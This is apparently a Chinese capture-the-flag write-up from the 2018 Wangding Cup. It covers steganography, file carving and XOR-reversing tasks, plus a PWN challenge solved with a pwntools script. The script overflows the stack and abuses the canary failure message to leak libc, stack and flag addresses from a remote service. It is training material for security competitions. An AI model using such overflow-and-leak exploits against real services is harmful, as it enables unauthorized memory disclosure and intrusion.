网鼎杯网络安全大赛部分Writeup第一场

2018-08-27 23,039

一、 Misc

1. 题目:签到

图片1.png


解答:

(1) 提示让关注公众号,关注后在公众号里边输入“青龙之站”之后如下图所示;

2.png


(2) 回复1f5f2e进入下一关,如下图所示;

3.png

(3) 回复4c361b进入下一关,如下图所示;

4.png

(4) 回复7642a4进入下一关,如下图所示;

5.png


(5) 回复aac333得flag,如下图所示;

6.png

(6) Flag:*flag{hello_wangdingbei}


2. 题目:clip

1.png

解答:

(1) 下载题目是.disk文件,第一反应是linux虚拟磁盘,如下图所示; 

2.png

(2) (题目提示词频是损坏的,那么linux挂载肯定没用)使用winHex打开文件,如下图所示;

image.png

(3) 在winhex中的第196280行发现了png的文件头,如图下所示;

3.png

备注:png 16进制文件头以89504E47开头的

(4) 进行手动查找发现了俩个IHDR的png图片字样另存在如下图所示;

① 第一张图片:

 4.png

备注:需要填充png尾

② 第二张图片:

5.png

备注:需要填充png头和尾

③ 使用PS对俩张图片进行拼接,如下图所示;

 6.png

(5) Flag:flag{0b008070-eb72-4b99-abed-092075d72a40}


3. 题目:minified

image.png


解答:

(1) Stegsolve打开图片,如下图所示;

3.png

(2) 打开Stegsolve选择Data Extract查看图片通道,如下图所示;

6.png

(3) 选择0通告发现是LSB隐写,如下图所示;

7.png

(4) 分别把alpha,green和blue的0通道另存为再进行异或处理,最终在alpha和green的中发现flag如下图所示;

9.png

(5) Flag:flag{7bb6db9f-d2eb-4e69-8dee-0002ce1e07f9}


二、 Reverse

1. 题目:beijing

image.png


解答:

(1) 题目给了我们一个Linux下的可执行程序,放在虚拟机下运行结果如下图所示: 

图片2.png


(2) 拖到IDA里面尝试分析下程序的逻辑,经过分析程序主要处理两个函数,主要逻辑如下:(由于长度关系只截取了部分)

① main函数21次调用了encode函数,然后将返回的结果按照字符打印出来如下图所示;

图片3.png

② encode函数按照参数a1的数值做对应的亦或运算,并返回char类型的结果如下图所示:

图片4.png

(3) 查看亦或部分对应的数据段数据和对应的hex数据如下图所示;

数据段数据:

图片5.png

数据段数据hex数据:

图片6.png

这里可以看到这段数据大部分都是可见的字符,因此可以假设flag就在这段数据中,但是顺序是被打乱的,而正确的顺序就是main函数中的顺序,即

```c
   encode :
    return flag[i]^xor[i]
   main :
    list[]   <-  记录着正确的flag打印顺序
    print encode(list[i])
```

(4) 按照上面的理论,可得到如下的分组:

```
   flag = ['a','g','i','n','b','e','f','j','m','l','{','z','}','_']
   xor = ['L','Y','B','','q','4','','','','','','']    #不可见字符没有打印出来
   list = [6,9,0,1,0xa,0,8,0,0xb,2,3,1,0xd,4,5,2,7,2,3,1,0xc]
```

(5) 最后运算脚本:

```python
result = ''
for i in range(0,21):
result += flag[list[i]]
print result
 ```

(6) Flag:flag{amazing_beijing}


2. 题目:advanced

图片7.png


解答:

(1) 把题目放入linux kali中试运行一下,如下图所示;

图片8.png


(2) 把得到的数值进行ASCII转换,如下图所示;

图片9.png

(3) 解密得到内容使用脚本运行得到flag,如下图所示;

图片10.png


(4) Flag:flag{d_with_a_template_phew}

(5) 脚本如下

tup = 'K@LKVHr[DXEsLsYI@\tmpMYIr\EIZQ'
flag = ""
for i in range(len(tup)):
    if i % 2 == 0:
        flag += chr(ord(tup[i])^0x2D)
    else:
        flag += chr(ord(tup[i])^0x2C)
print flag


三、 PWN

1. 题目:GUESS

图片11.png


解答:

(1) 这题就是简单的stack smash加强版。所以把flag读到栈上面了,所以要leak三次

(2) 第一次leak出puts的地址,减去偏移,得到libc基址

(3) 第二次用environ leak出栈地址

(4) 第三次leak出flag

(5) 因此得flag:

flag{936dd5d1-457a-413d-ae5d-bbd55136e524}

(6) 脚本如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
libc = ELF('./libc-2.23.so')
p = remote('106.75.90.160', 9999)
payload = 'a'* 296 + p64(0x602020)*3
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
libc_base = puts_addr - libc.symbols['puts']
environ_addr = libc_base + libc.symbols['_environ']
payload = 'a'*296 + p64(environ_addr)*3
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
p.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(stack_addr-0x168)*3
p.sendline(payload)
p.interactive()


本文作者:China H.L.B

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/74916.html

Tags:
评论  (0)
快来写下你的想法吧!

China H.L.B

文章数:2 积分: 17

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号